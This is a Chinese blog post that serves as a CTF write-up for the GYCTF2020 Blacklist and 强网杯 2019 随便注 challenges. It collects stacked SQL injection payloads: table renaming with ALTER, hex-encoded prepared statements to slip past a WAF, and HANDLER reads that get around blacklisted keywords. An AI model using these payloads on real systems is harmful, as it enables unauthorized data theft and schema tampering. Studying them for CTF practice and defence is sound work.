• [GYCTF2020]Blacklist


    这题是用堆叠注入,同时也是借这题记录一下CTF中堆叠注入的一些骚操作

    以下部分内容转载大佬的文章

    show databases;   获取数据库名
    show tables;  获取表名
    show columns from `table_name`; 获取列名

    绕过技巧

    1、修改表名

    用 “[强网杯 2019]随便注” 为例, 这里有两个表,一个是 ’ 1919810931114514 ‘ ,还有一个是’words‘ , words表中有id和data两个字段,1919810931114514表中有flag的字段

    因为可以看到回显是两个数据,猜测应该是words表

    推测 内部语句应该是

    select  id,data from words where id='$id'

    那么骚操作开始了,有点像偷天换日的意思

    1、将words表名替换成其他的

    2、然后将 `1919810931114514` 这个表名称替换成words

    3、在把flag这个字段替换成data

    4、最后再插入一个id字段

    最终的查询结果就可以输出我们构造的新的words了

     payload 如下

    1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(50);#

    最后用  1' or 1=1#   把flag打印出来

    2、预编译

    依旧是以“[强网杯 2019]随便注”  为例,先构造一个sql语句,然后执行它,payload转化成16进制绕过waf

    1';
    SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
    prepare execsql from @a;
    execute execsql;#

    3、HANDLER

    以 ”[GYCTF2020]Blacklist“ 为例,因为前面关键字都被禁用了,所以前面的payload都无效了

    但是这里还有一种新姿势,参考官方文档

    HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

    1';
    HANDLER FlagHere OPEN;
    HANDLER FlagHere READ FIRST;
    HANDLER FlagHere CLOSE;#
  • 相关阅读:
    感觉每天打开自己的博客园, 想编程的心情就多了起来~~~
    算法图解相关代码整理
    github cli
    What's WebFlux ? And how to use it ? 一股有咖喱味的WebFlux简介
    style
    gradle 1
    gradle打包可运行jar
    外面下着雨
    天晴朗 看花儿多多开放
    Full Stack Reactive with React and Spring WebFlux
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12398554.html
Copyright © 2020-2023  润新知